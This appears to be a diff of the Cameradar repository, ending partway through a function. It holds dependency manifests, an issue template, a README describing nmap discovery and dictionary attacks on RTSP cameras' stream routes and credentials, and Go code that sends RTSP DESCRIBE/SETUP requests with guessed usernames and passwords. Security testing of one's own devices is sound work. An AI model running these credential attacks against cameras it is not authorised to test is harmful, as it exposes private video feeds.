name = "github.com/magefile/mage"
packages = [
"mg",
"sh",
"types"
]
revision = "ab3ca2f6f85577d7ec82e0a6df721147a2e737f9"
version = "v2.0.1"
[[projects]]
name = "github.com/magiconair/properties"
packages = ["."]
revision = "d419a98cdbed11a922bf76f257b7c4be79b50e73"
version = "v1.7.4"
[[projects]]
name = "github.com/mattn/go-colorable"
packages = ["."]
revision = "167de6bfdfba052fa6b2d3664c8f5272e23c9072"
version = "v0.0.9"
[[projects]]
name = "github.com/mattn/go-isatty"
packages = ["."]
revision = "0360b2af4f38e8d38c7fce2a9f4e702702d73a39"
version = "v0.0.3"
[[projects]]
branch = "master"
name = "github.com/mitchellh/mapstructure"
packages = ["."]
revision = "b4575eea38cca1123ec2dc90c26529b5c5acfcff"
[[projects]]
name = "github.com/pelletier/go-toml"
packages = ["."]
revision = "acdc4509485b587f5e675510c4f2c63e90ff68a8"
version = "v1.1.0"
[[projects]]
name = "github.com/pkg/errors"
packages = ["."]
revision = "645ef00459ed84a119197bfb8d8205042c6df63d"
version = "v0.8.0"
[[projects]]
name = "github.com/pmezard/go-difflib"
packages = ["difflib"]
revision = "792786c7400a136282c1664665ae0a8db921c6c2"
version = "v1.0.0"
[[projects]]
name = "github.com/spf13/afero"
packages = [
".",
"mem"
]
revision = "bb8f1927f2a9d3ab41c9340aa034f6b803f4359c"
version = "v1.0.2"
[[projects]]
name = "github.com/spf13/cast"
packages = ["."]
revision = "acbeb36b902d72a7a4c18e8f3241075e7ab763e4"
version = "v1.1.0"
[[projects]]
branch = "master"
name = "github.com/spf13/jwalterweatherman"
packages = ["."]
revision = "7c0cea34c8ece3fbeb2b27ab9b59511d360fb394"
[[projects]]
name = "github.com/spf13/pflag"
packages = ["."]
revision = "e57e3eeb33f795204c1ca35f56c44f83227c6e66"
version = "v1.0.0"
[[projects]]
name = "github.com/spf13/viper"
packages = ["."]
revision = "25b30aa063fc18e48662b86996252eabdcf2f0c7"
version = "v1.0.0"
[[projects]]
name = "github.com/stretchr/objx"
packages = ["."]
revision = "facf9a85c22f48d2f52f2380e4efce1768749a89"
version = "v0.1"
[[projects]]
name = "github.com/stretchr/testify"
packages = [
"assert",
"mock"
]
revision = "12b6f73e6084dad08a7c6e575284b177ecafbc71"
version = "v1.2.1"
[[projects]]
branch = "master"
name = "golang.org/x/crypto"
packages = ["ssh/terminal"]
revision = "1875d0a70c90e57f11972aefd42276df65e895b9"
[[projects]]
branch = "master"
name = "golang.org/x/sys"
packages = [
"unix",
"windows"
]
revision = "8f27ce8a604014414f8dfffc25cbcde83a3f2216"
[[projects]]
branch = "master"
name = "golang.org/x/text"
packages = [
"internal/gen",
"internal/triegen",
"internal/ucd",
"transform",
"unicode/cldr",
"unicode/norm"
]
revision = "e19ae1496984b1c655b8044a65c0300a3c878dd3"
[[projects]]
name = "gopkg.in/go-playground/validator.v9"
packages = ["."]
revision = "48a433ba4bcadc5be9aa16d4bdcb383d3f57a741"
version = "v9.9.3"
[[projects]]
branch = "v2"
name = "gopkg.in/yaml.v2"
packages = ["."]
revision = "d670f9405373e636a5a2765eea47fac0c9bc91a4"
[solve-meta]
analyzer-name = "dep"
analyzer-version = 1
inputs-digest = "cd90160a373567d6046fe1f1f30e822740533c06a766bcb75d2ed83820cd8526"
solver-name = "gps-cdcl"
solver-version = 1
+62
View File
@@ -0,0 +1,62 @@
# Gopkg.toml example
#
# Refer to https://github.com/golang/dep/blob/master/docs/Gopkg.toml.md
# for detailed Gopkg.toml documentation.
#
# required = ["github.com/user/thing/cmd/thing"]
# ignored = ["github.com/user/project/pkgX", "bitbucket.org/user/project/pkgA/pkgY"]
#
# [[constraint]]
# name = "github.com/user/project"
# version = "1.0.0"
#
# [[constraint]]
# name = "github.com/user/project2"
# branch = "dev"
# source = "github.com/myfork/project2"
#
# [[override]]
# name = "github.com/x/y"
# version = "2.4.0"
#
# [prune]
# non-go = false
# go-tests = true
# unused-packages = true
[[constraint]]
branch = "master"
name = "github.com/andelf/go-curl"
[[constraint]]
name = "github.com/fatih/color"
version = "1.5.0"
[[constraint]]
branch = "master"
name = "github.com/gernest/wow"
[[constraint]]
name = "github.com/pkg/errors"
version = "0.8.0"
[[constraint]]
name = "github.com/spf13/pflag"
version = "1.0.0"
[[constraint]]
name = "github.com/spf13/viper"
version = "1.0.0"
[[constraint]]
name = "github.com/stretchr/testify"
version = "1.2.1"
[[constraint]]
name = "gopkg.in/go-playground/validator.v9"
version = "9.9.3"
[prune]
go-tests = true
unused-packages = true
+51
View File
@@ -0,0 +1,51 @@
First, make sure that none of the open and closed issues is about the same issue as you are describing, and make sure to check the frequently asked questions in the README file.
Then, replace the parts of this template that are between <angle brackets> with the data relative to your issue.
**If you're reporting a bug, use the template below. Otherwise, delete this template and write your issue normally.**
## Context
Please select one:
- [ ] I use the docker image `ullaakut/cameradar`
- [ ] I use my own build of the docker image
- [ ] I use the pre-compiled binary
- [ ] I use my own build of the binary
- [ ] None of the above / I don't know
Please select one:
- [ ] I use a specific version: <version tag>
- [ ] I use the latest commit of the master branch
- [ ] I use the latest commit of the develop branch
- [ ] I use a forked version of the repository: <fork URL>
- [ ] I use a specific commit: <commit hash>
## Environment
My operating system:
- [ ] Windows
- [ ] OSX
- [ ] Linux
- [ ] Other
OS version: <version>
OS architecture: <architecture>
## Issue
### What was expected?
<expected behavior>
### What happened?
<observed behavior>
### Logs
If your issue is with Cameradar's binary or docker image, please run it with `-l` to print logs, and paste them here:
```
<cameradar logs>
```
+15 -199
View File
@@ -1,201 +1,17 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "{}"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright {yyyy} {name of copyright owner}
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
DEALINGS IN THE SOFTWARE.
+331
View File
@@ -0,0 +1,331 @@
# Cameradar
<p align="center">
<img src="https://raw.githubusercontent.com/Ullaakut/cameradar/master/images/Cameradar.gif" width="100%"/>
</p>
<p align="center">
<a href="#license">
<img src="https://img.shields.io/badge/license-Apache-blue.svg?style=flat" />
</a>
<a href="https://hub.docker.com/r/ullaakut/cameradar/">
<img src="https://img.shields.io/docker/pulls/ullaakut/cameradar.svg?style=flat" />
</a>
<a href="https://travis-ci.org/Ullaakut/cameradar">
<img src="https://travis-ci.org/Ullaakut/cameradar.svg?branch=master" />
</a>
<a href='https://coveralls.io/github/Ullaakut/cameradar?branch=master'>
<img src='https://coveralls.io/repos/github/Ullaakut/cameradar/badge.svg?branch=master' alt='Coverage Status' />
</a>
<a href="https://golangci.com/r/github.com/Ullaakut/cameradar">
<img src="https://golangci.com/badges/github.com/Ullaakut/cameradar.svg" />
</a>
<a href="https://goreportcard.com/report/github.com/Ullaakut/cameradar">
<img src="https://goreportcard.com/badge/github.com/Ullaakut/cameradar" />
</a>
<a href="https://github.com/Ullaakut/cameradar/releases/latest">
<img src="https://img.shields.io/github/release/Ullaakut/cameradar.svg?style=flat" />
</a>
<a href="https://godoc.org/github.com/Ullaakut/cameradar">
<img src="https://godoc.org/github.com/Ullaakut/cameradar?status.svg" />
</a>
</p>
## An RTSP stream access tool that comes with its library
### Cameradar allows you to
* **Detect open RTSP hosts** on any accessible target host
* Detect which device model is streaming
* Launch automated dictionary attacks to get their **stream route** (e.g.: `/live.sdp`)
* Launch automated dictionary attacks to get the **username and password** of the cameras
* Retrieve a complete and user-friendly report of the results
<p align="center"><img src="https://raw.githubusercontent.com/Ullaakut/cameradar/master/images/Cameradar.png" width="250"/></p>
## Table of content
* [Docker Image](#docker-image)
* [Configuration](#configuration)
* [Output](#output)
* [Check camera access](#check-camera-access)
* [Command line options](#command-line-options)
* [Contribution](#contribution)
* [Frequently Asked Questions](#frequently-asked-questions)
* [License](#license)
## Docker Image for Cameradar
Install [docker](https://docs.docker.com/engine/installation/) on your machine, and run the following command:
```bash
docker run -t ullaakut/cameradar -t <target> <other command-line options>
```
[See command-line options](#command-line-options).
e.g.: `docker run -t ullaakut/cameradar -t 192.168.100.0/24 -l` will scan the ports 554 and 8554 of hosts on the 192.168.100.0/24 subnetwork and attack the discovered RTSP streams and will output debug logs.
* `YOUR_TARGET` can be a subnet (e.g.: `172.16.100.0/24`), an IP (e.g.: `172.16.100.10`), or a range of IPs (e.g.: `172.16.100.10-20`).
* If you want to get the precise results of the nmap scan in the form of an XML file, you can add `-v /your/path:/tmp/cameradar_scan.xml` to the docker run command, before `ullaakut/cameradar`.
* If you use the `-r` and `-c` options to specify your custom dictionaries, make sure to also use a volume to add them to the docker container. Example: `docker run -t -v /path/to/dictionaries/:/tmp/ ullaakut/cameradar -r /tmp/myroutes -c /tmp/mycredentials.json -t mytarget`
## Installing the binary on your machine
Only use this solution if for some reason using docker is not an option for you or if you want to locally build Cameradar on your machine.
### Dependencies
* `go`
* `dep`
#### Installing dep
* OSX: `brew install dep` and `brew upgrade dep`
* Others: Download the release package for your OS [here](https://github.com/golang/dep/releases)
### Steps to install
Make sure you installed the dependencies mentionned above.
1. `go get github.com/Ullaakut/cameradar`
2. `cd $GOPATH/src/github.com/Ullaakut/cameradar`
3. `dep ensure`
4. `cd cameradar`
5. `go install`
The `cameradar` binary is now in your `$GOPATH/bin` ready to be used. See command line options [here](#command-line-options).
## Library
### Dependencies of the library
* `curl-dev` / `libcurl` (depending on your OS)
* `nmap`
* `github.com/pkg/errors`
* `gopkg.in/go-playground/validator.v9`
* `github.com/andelf/go-curl`
#### Installing the library
`go get github.com/Ullaakut/cameradar`
After this command, the _cameradar_ library is ready to use. Its source will be in:
$GOPATH/src/pkg/github.com/Ullaakut/cameradar
You can use `go get -u` to update the package.
Here is an overview of the exposed functions of this library:
#### Discovery
You can use the cameradar library for simple discovery purposes if you don't need to access the cameras but just to be aware of their existence.
<p align="center"><img width="90%" src="https://raw.githubusercontent.com/Ullaakut/cameradar/master/images/NmapPresets.png"/></p>
This describes the nmap time presets. You can pass a value between 1 and 5 as described in this table, to the NmapRun function.
#### Attack
If you already know which hosts and ports you want to attack, you can also skip the discovery part and use directly the attack functions. The attack functions also take a timeout value as a parameter.
#### Data models
Here are the different data models useful to use the exposed functions of the cameradar library.
<p align="center"><img width="60%" src="https://raw.githubusercontent.com/Ullaakut/cameradar/master/images/Models.png"/></p>
#### Dictionary loaders
The cameradar library also provides two functions that take file paths as inputs and return the appropriate data models filled.
## Configuration
The **RTSP port used for most cameras is 554**, so you should probably specify 554 as one of the ports you scan. Not specifying any ports to the cameradar application will scan the 554 and 8554 ports.
`docker run -t --net=host ullaakut/cameradar -p "18554,19000-19010" -t localhost` will scan the ports 18554, and the range of ports between 19000 and 19010 on localhost.
You **can use your own files for the ids and routes dictionaries** used to attack the cameras, but the Cameradar repository already gives you a good base that works with most cameras, in the `/dictionaries` folder.
```bash
docker run -t -v /my/folder/with/dictionaries:/tmp/dictionaries \
ullaakut/cameradar \
-r "/tmp/dictionaries/my_routes" \
-c "/tmp/dictionaries/my_credentials.json" \
-t 172.19.124.0/24
```
This will put the contents of your folder containing dictionaries in the docker image and will use it for the dictionary attack instead of the default dictionaries provided in the cameradar repo.
## Check camera access
If you have [VLC Media Player](http://www.videolan.org/vlc/), you should be able to use the GUI or the command-line to connect to the RTSP stream using this format : `rtsp://username:password@address:port/route`
With the above result, the RTSP URL would be `rtsp://admin:12345@173.16.100.45:554/live.sdp`
## Command line options
* **"-t, --target"**: Set target. Required. Target can be a file (see [instructions on how to format the file](#format-input-file)), an IP, an IP range, a subnetwork, or a combination of those.
* **"-p, --ports"**: (Default: `554,8554`) Set custom ports.
* **"-s, --speed"**: (Default: `4`) Set custom nmap discovery presets to improve speed or accuracy. It's recommended to lower it if you are attempting to scan an unstable and slow network, or to increase it if on a very performant and reliable network. See [this for more info on the nmap timing templates](https://nmap.org/book/man-performance.html).
* **"-T, --timeout"**: (Default: `2000`) Set custom timeout value in miliseconds after which an attack attempt without an answer should give up. It's recommended to increase it when attempting to scan unstable and slow networks or to decrease it on very performant and reliable networks.
* **"-r, --custom-routes"**: (Default: `<CAMERADAR_GOPATH>/dictionaries/routes`) Set custom dictionary path for routes
* **"-c, --custom-credentials"**: (Default: `<CAMERADAR_GOPATH>/dictionaries/credentials.json`) Set custom dictionary path for credentials
* **"-o, --nmap-output"**: (Default: `/tmp/cameradar_scan.xml`) Set custom nmap output path
* **"-l, --log"**: Enable debug logs (nmap requests, curl describe requests, etc.)
* **"-h"** : Display the usage information
## Format input file
The file can contain IPs, hostnames, IP ranges and subnetwork, separated by newlines. Example:
```
0.0.0.0
localhost
192.17.0.0/16
192.168.1.140-255
192.168.2-3.0-255
```
## Environment Variables
### `CAMERADAR_TARGET`
This variable is mandatory and specifies the target that cameradar should scan and attempt to access RTSP streams on.
Examples:
* `172.16.100.0/24`
* `192.168.1.1`
* `localhost`
* `192.168.1.140-255`
* `192.168.2-3.0-255`
### `CAMERADAR_PORTS`
This variable is optional and allows you to specify the ports on which to run the scans.
Default value: `554,8554`
It is recommended not to change these except if you are certain that cameras have been configured to stream RTSP over a different port. 99.9% of cameras are streaming on these ports.
### `CAMERADAR_NMAP_OUTPUT_FILE`
This variable is optional and allows you to specify on which file nmap will write its output.
Default value: `/tmp/cameradar_scan.xml`
This can be useful only if you want to read the files yourself, if you don't want it to write in your `/tmp` folder, or if you want to use only the RunNmap function in cameradar, and do its parsing manually.
### `CAMERADAR_CUSTOM_ROUTES`, `CAMERADAR_CUSTOM_CREDENTIALS`
These variables are optional, allowing to replace the default dictionaries with custom ones, for the dictionary attack.
Default values: `<CAMERADAR_GOPATH>/dictionaries/routes` and `<CAMERADAR_GOPATH>/dictionaries/credentials.json`
### `CAMERADAR_SPEED`
This optional variable allows you to set custom nmap discovery presets to improve speed or accuracy. It's recommended to lower it if you are attempting to scan an unstable and slow network, or to increase it if on a very performant and reliable network. See [this for more info on the nmap timing templates](https://nmap.org/book/man-performance.html).
Default value: `4`
### `CAMERADAR_TIMEOUT`
This optional variable allows you to set custom timeout value in miliseconds after which an attack attempt without an answer should give up. It's recommended to increase it when attempting to scan unstable and slow networks or to decrease it on very performant and reliable networks.
Default value: `2000`
### `CAMERADAR_LOGS`
This optional variable allows you to enable a more verbose output to have more information about what is going on.
It will output nmap results, cURL requests, etc.
Default: `false`
## Contribution
### Build
#### Docker build
To build the docker image, simply run `docker build -t . cameradar` in the root of the project.
Your image will be called `cameradar` and NOT `ullaakut/cameradar`.
#### Go build
To build the project without docker:
1. Install dep
* OSX: `brew install dep` and `brew upgrade dep`
* Others: Download the release package for your OS [here](https://github.com/golang/dep/releases)
2. `dep ensure`
3. `go build` to build the library
4. `cd cameradar && go build` to build the binary
The cameradar binary is now in the root of the directory.
See [the contribution document](/CONTRIBUTING.md) to get started.
## Frequently Asked Questions
> Cameradar does not detect any camera!
That means that either your cameras are not streaming in RTSP or that they are not on the target you are scanning. In most cases, CCTV cameras will be on a private subnetwork, isolated from the internet. Use the `-t` option to specify your target.
> Cameradar detects my cameras, but does not manage to access them at all!
Maybe your cameras have been configured and the credentials / URL have been changed. Cameradar only guesses using default constructor values if a custom dictionary is not provided. You can use your own dictionaries in which you just have to add your credentials and RTSP routes. To do that, see how the [configuration](#configuration) works. Also, maybe your camera's credentials are not yet known, in which case if you find them it would be very nice to add them to the Cameradar dictionaries to help other people in the future.
> What happened to the C++ version?
You can still find it under the 1.1.4 tag on this repo, however it was less performant and stable than the current version written in Golang.
> How to use the Cameradar library for my own project?
See the example in `/cameradar`. You just need to run `go get github.com/Ullaakut/cameradar` and to use the `cmrdr` package in your code. You can find the documentation on [godoc](https://godoc.org/github.com/Ullaakut/cameradar).
> I want to scan my own localhost for some reason and it does not work! What's going on?
Use the `--net=host` flag when launching the cameradar image, or use the binary by running `go run cameradar/cameradar.go` or [installing it](#installing-the-binary)
> I don't see a colored output :(
You forgot the `-t` flag before `ullaakut/cameradar` in your command-line. This tells docker to allocate a pseudo-tty for cameradar, which makes it able to use colors.
> I don't have a camera but I'd like to try Cameradar!
Simply run `docker run -p 8554:8554 -e RTSP_USERNAME=admin -e RTSP_PASSWORD=12345 -e RTSP_PORT=8554 ullaakut/rtspatt` and then run cameradar and it should guess that the username is admin and the password is 12345. You can try this with any default constructor credentials (they can be found [here](dictionaries/credentials.json))
## Examples
> Running cameradar on your own machine to scan for default ports
`docker run --net=host -t ullaakut/cameradar -t localhost`
> Running cameradar with an input file, logs enabled on port 8554
`docker run -v /tmp:/tmp --net=host -t ullaakut/cameradar -t /tmp/test.txt -p 8554 -l`
## License
Copyright 2017 Ullaakut
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
DEALINGS IN THE SOFTWARE.
+286
View File
@@ -0,0 +1,286 @@
package cmrdr
import (
"fmt"
"time"
curl "github.com/andelf/go-curl"
"github.com/pkg/errors"
v "gopkg.in/go-playground/validator.v9"
)
// HTTP responses
const (
httpOK = 200
httpUnauthorized = 401
httpForbidden = 403
httpNotFound = 404
)
// CURL RTSP request types
const (
rtspDescribe = 2
rtspSetup = 4
)
// HACK: See https://stackoverflow.com/questions/3572397/lib-curl-in-c-disable-printing
func doNotWrite([]uint8, interface{}) bool {
return true
}
func routeAttack(c Curler, stream Stream, route string, timeout time.Duration, enableLogs bool) bool {
attackURL := fmt.Sprintf(
"rtsp://%s:%s@%s:%d/%s",
stream.Username,
stream.Password,
stream.Address,
stream.Port,
route,
)
if enableLogs {
// Debug logs when logs are enabled
c.Setopt(curl.OPT_VERBOSE, 1)
} else {
// Do not write sdp in stdout
c.Setopt(curl.OPT_WRITEFUNCTION, doNotWrite)
}
// Do not use signals (would break multithreading)
c.Setopt(curl.OPT_NOSIGNAL, 1)
// Do not send a body in the describe request
c.Setopt(curl.OPT_NOBODY, 1)
// Send a request to the URL of the stream we want to attack
c.Setopt(curl.OPT_URL, attackURL)
// Set the RTSP STREAM URI as the stream URL
c.Setopt(curl.OPT_RTSP_STREAM_URI, attackURL)
// 2 is CURL_RTSPREQ_DESCRIBE
c.Setopt(curl.OPT_RTSP_REQUEST, rtspDescribe)
// Set custom timeout
c.Setopt(curl.OPT_TIMEOUT_MS, int(timeout/time.Millisecond))
// Perform the request
err := c.Perform()
if err != nil {
fmt.Printf("\nERROR: curl timeout on stream '%s' reached after %s.\nconsider increasing the timeout (-T, --timeout parameter) to at least 5000ms if scanning an unstable network.\n", stream.Address, timeout.String())
return false
}
// Get return code for the request
rc, err := c.Getinfo(curl.INFO_RESPONSE_CODE)
if err != nil {
return false
}
// If it's a 401 or 403, it means that the credentials are wrong but the route might be okay
// If it's a 200, the stream is accessed successfully
if rc == httpOK || rc == httpUnauthorized || rc == httpForbidden {
return true
}
return false
}
func credAttack(c Curler, stream Stream, username string, password string, timeout time.Duration, enableLogs bool) bool {
attackURL := fmt.Sprintf(
"rtsp://%s:%s@%s:%d/%s",
username,
password,
stream.Address,
stream.Port,
stream.Route,
)
if enableLogs {
// Debug logs when logs are enabled
c.Setopt(curl.OPT_VERBOSE, 1)
} else {
// Do not write sdp in stdout
c.Setopt(curl.OPT_WRITEFUNCTION, doNotWrite)
}
// Do not use signals (would break multithreading)
c.Setopt(curl.OPT_NOSIGNAL, 1)
// Do not send a body in the describe request
c.Setopt(curl.OPT_NOBODY, 1)
// Send a request to the URL of the stream we want to attack
c.Setopt(curl.OPT_URL, attackURL)
// Set the RTSP STREAM URI as the stream URL
c.Setopt(curl.OPT_RTSP_STREAM_URI, attackURL)
// 2 is CURL_RTSPREQ_DESCRIBE
c.Setopt(curl.OPT_RTSP_REQUEST, 2)
// Set custom timeout
c.Setopt(curl.OPT_TIMEOUT_MS, int(timeout/time.Millisecond))
// Perform the request
err := c.Perform()
if err != nil {
fmt.Printf("\nERROR: curl timeout on stream '%s' reached after %s.\nconsider increasing the timeout (-T, --timeout parameter) to at least 5000ms if scanning an unstable network.\n", stream.Address, timeout.String())
return false
}
// Get return code for the request
rc, err := c.Getinfo(curl.INFO_RESPONSE_CODE)
if err != nil {
return false
}
// If it's a 404, it means that the route is incorrect but the credentials might be okay
// If it's a 200, the stream is accessed successfully
if rc == httpOK || rc == httpNotFound {
return true
}
return false
}
func validateStream(c Curler, stream Stream, timeout time.Duration, enableLogs bool) bool {
attackURL := fmt.Sprintf(
"rtsp://%s:%s@%s:%d/%s",
stream.Username,
stream.Password,
stream.Address,
stream.Port,
stream.Route,
)
if enableLogs {
// Debug logs when logs are enabled
c.Setopt(curl.OPT_VERBOSE, 1)
} else {
// Do not write sdp in stdout
c.Setopt(curl.OPT_WRITEFUNCTION, doNotWrite)
}
// Do not use signals (would break multithreading)
c.Setopt(curl.OPT_NOSIGNAL, 1)
// Do not send a body in the describe request
c.Setopt(curl.OPT_NOBODY, 1)
// Send a request to the URL of the stream we want to attack
c.Setopt(curl.OPT_URL, attackURL)
// Set the RTSP STREAM URI as the stream URL
c.Setopt(curl.OPT_RTSP_STREAM_URI, attackURL)
// 2 is CURL_RTSPREQ_SETUP
c.Setopt(curl.OPT_RTSP_REQUEST, rtspSetup)
// Set custom timeout
c.Setopt(curl.OPT_TIMEOUT_MS, int(timeout/time.Millisecond))
c.Setopt(curl.OPT_RTSP_TRANSPORT, "RTP/AVP;unicast;client_port=33332-33333")
// Perform the request
err := c.Perform()
if err != nil {
fmt.Printf("\nERROR: curl timeout on stream '%s' reached after %s.\nconsider increasing the timeout (-T, --timeout parameter) to at least 5000ms if scanning an unstable network.\n", stream.Address, timeout.String())
return false
}
// Get return code for the request
rc, err := c.Getinfo(curl.INFO_RESPONSE_CODE)
if err != nil {
return false
}
// If it's a 200, the stream is accessed successfully
if rc == httpOK {
return true
}
return false
